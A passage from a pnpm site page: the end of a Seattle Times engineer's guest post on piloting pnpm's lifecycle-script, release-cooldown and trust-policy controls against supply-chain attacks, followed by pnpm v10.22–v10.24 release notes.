What you'd do: Add the specific React version to minimumReleaseAgeExclude after reviewing the vulnerability disclosure and verifying the patch was legitimate.

What still protects you:

  • Lifecycle Script Management is still active—if an attacker had injected malicious lifecycle scripts into the React patch, they would be blocked (React normally has no lifecycle scripts, so any scripts would be immediately suspicious)

  • Trust Policy is still active—if an attacker had compromised React's publishing credentials and pushed a malicious "patch" from their own machine, the trust downgrade would be blocked

This is why we think exceptions are expected and okay. You make a conscious, documented decision to bypass one control for a legitimate reason, but you still have robust protection from the other layers. No single point of failure.

This is what defense-in-depth looks like in practice for us.

Our Pilot Experience

We implemented all three security controls in one of our backend services as a proof of concept. Total setup time: a few hours to research, understand, and define our approach.

During setup, pnpm identified three packages with lifecycle scripts:

  • esbuild: Optimizes CLI tool startup by milliseconds—not needed since we only use the JavaScript API

  • @firebase/util: Auto-configures client SDK—not needed since we only use the server SDK

  • protobufjs: Checks version schema compatibility—not needed since it's a transitive dependency

We researched what each script did (reading documentation and feeding the scripts to AI for interpretation), determined none were necessary for our use case, and blocked them. Zero impact on functionality.

That was it. A few hours of initial investment for ongoing protection against Shai-Hulud-style attacks.

What the friction feels like: These controls create friction by design—and for us, that's a feature, not a bug. The friction forces conscious decisions about what code runs in our environment rather than implicitly trusting everything. When new dependencies have scripts, we anticipate it will take around 15 minutes to review and document the decision.

We expect that the friction will become more intuitive with practice as we get more familiar with the process.

What We're Learning

A few things we've learned from our pilot:

The defense-in-depth model actually works. Having multiple layers on the client side—plus the benefits from npm's publishing-side improvements—means we can be pragmatic about exceptions. When we need to bypass one control for a legitimate reason, the others are still protecting us. This removes the anxiety of making exceptions—they're not security failures, they're the system working as designed.

The mental model takes time. There's a learning curve to thinking "security-first" rather than "convenience-first." But once the mental model clicks—that slightly older packages are safer, that explicit decisions are better than implicit trust—the workflow feels natural.

These controls are practical for mid-sized teams. We're not a large tech company with a dedicated security team. We're a mid-sized news media organization with limited engineering resources. If we can implement these controls successfully, they're accessible to most teams.

We're still learning. The threat landscape evolves, and our approach will too. The trust policy feature is only a few weeks old, and we don't yet know how often legitimate trust downgrades will occur in practice. We're planning to expand these controls to other codebases in the near future, which will give us more data on how they scale with applications with different dependency graphs.

For Other Teams Considering This

If you're considering pnpm's security controls, here's what worked for us:

Start with one project. Piloting on a single codebase first let us get comfortable with the workflow, understand the friction points, and build confidence before considering a broader rollout.

Plan for exceptions upfront. Go in expecting you'll need exceptions for lifecycle scripts (packages that need compilation), release cooldowns (critical security patches), and trust downgrades (CI/CD migrations). This isn't failure—it's how the system is designed to work.

Use strictDepBuilds: true from day one. Relying on warnings felt too risky for us. We wanted installation to fail immediately and force the decision. This prevents packages from potentially misbehaving later and ensures deliberate choices.

Document every exception. Write down why you allowed a lifecycle script or exempted a package. This creates an audit trail, helps future team members understand the reasoning, and makes it easy to clean up exceptions later.

Trust the layers. When you make an exception for one control, remember the other two are still protecting you. The defense-in-depth model gives you room to be pragmatic.

Share Your Experience

We'd love to hear from other teams implementing these controls or considering them. What's working? What's challenging? What have you learned? Join the conversation in the pnpm GitHub Discussions or share your experiences on social media—we're all learning together.

Thank You

Thanks to the pnpm team for building these controls and for the thoughtful way they've approached making them both powerful and practical. And thanks for inviting us to share our story.

The work you're doing matters. These controls provide real protection that complements npm's registry improvements. Together, they give teams like ours a fighting chance against increasingly sophisticated supply chain attacks.


Ryan Sobol is a Principal Software Engineer at the Seattle Times, where he works on mobile and web development, cloud infrastructure, and developer tooling. The views expressed here are his own and based on the Seattle Times' pilot implementation of pnpm's security controls.

"undefined"!=typeof _bsa&&_bsa&&_bsa.init("custom","CWYI4K7E","placement:pnpmio",{target:"#bsa-custom-01",template:`

##description##

##callToAction##

`})

v10.24

pnpm now scales network concurrency automatically on high-core machines and ships several reliability fixes.

Minor Changes
Adaptive network concurrency

Network concurrency now scales automatically between 16 and 64 based on the number of pnpm workers (workers × 3). This increases throughput on machines with many CPU cores while keeping resource usage predictable on smaller setups #10068.

Patch Changes
  • trustPolicy now ignores trust evidences from prerelease versions when you install a non-prerelease version, so a trusted prerelease cannot block installing a stable release that lacks trust evidence.

  • Handle ENOENT errors thrown by fs.linkSync(), which can occur in containerized environments (OverlayFS) instead of EXDEV. pnpm now gracefully falls back to fs.copyFileSync() in these cases #10217.

  • Reverted: pnpm self-update downloading pnpm from the configured npm registry #10205.

  • Packages that don't have a package.json file (like Node.js) are no longer reimported from the store on every install. pnpm now checks an additional file to verify the package in node_modules.

  • Correctly read auth tokens for URLs that contain underscores #17.

"undefined"!=typeof _bsa&&_bsa&&_bsa.init("custom","CWYI4K7E","placement:pnpmio",{target:"#bsa-custom-01",template:`

##description##

##callToAction##

`})

v10.23

Added --lockfile-only option to pnpm list and various improvements to pnpm self-update.

Minor Changes
pnpm list --lockfile-only

Added --lockfile-only option to pnpm list #10020.

When specified, pnpm list will read package information from the lockfile instead of checking the actual node_modules directory. This is useful for quickly inspecting what would be installed without requiring a full installation.

Patch Changes
  • pnpm self-update should download pnpm from the configured npm registry #10205.

  • pnpm self-update should always install the non-executable pnpm package (pnpm in the registry) and never the @pnpm/exe package, when installing v11 or newer. We currently cannot ship @pnpm/exe as pkg doesn't work with ESM #10190.

  • Node.js runtime is not added to "dependencies" on pnpm add, if there's a engines.runtime setting declared in package.json #10209.

  • The installation should fail if an optional dependency cannot be installed due to a trust policy check failure #10208.

  • pnpm list and pnpm why now display npm: protocol for aliased packages (e.g., foo npm:is-odd@3.0.1) #8660.

  • Don't add an extra slash to the Node.js mirror URL #10204.

  • pnpm store prune should not fail if the store contains Node.js packages #10131.

"undefined"!=typeof _bsa&&_bsa&&_bsa.init("custom","CWYI4K7E","placement:pnpmio",{target:"#bsa-custom-01",template:`

##description##

##callToAction##

`})

v10.22

Added support for excluding packages from trust policy and overriding the engines field on publish.

Minor Changes
Trust policy exclusions

Added support for trustPolicyExclude.

You can now list one or more specific packages or versions that pnpm should allow to install, even if those packages don't satisfy the trust policy requirement. For example:

trustPolicy: no-downgrade
trustPolicyExclude:
  - chokidar@4.0.3
  - webpack@4.47.0 || 5.102.1

Related issue: #10164

Override engines field on publish

Allow to override the engines field on publish by the publishConfig.engines field.

This allows you to specify different engine requirements for your published package than what you use during development.

Patch Changes
  • Don't crash when two processes of pnpm are hardlinking the contents of a directory to the same destination simultaneously #10179.

"undefined"!=typeof _bsa&&_bsa&&_bsa.init("custom","CWYI4K7E","placement:pnpmio",{target:"#bsa-custom-01",template:`

##description##

##callToAction##

`})

Last Checked
2h ago
Latest
Jun 11, 2026
Tracking since Sep 12, 2025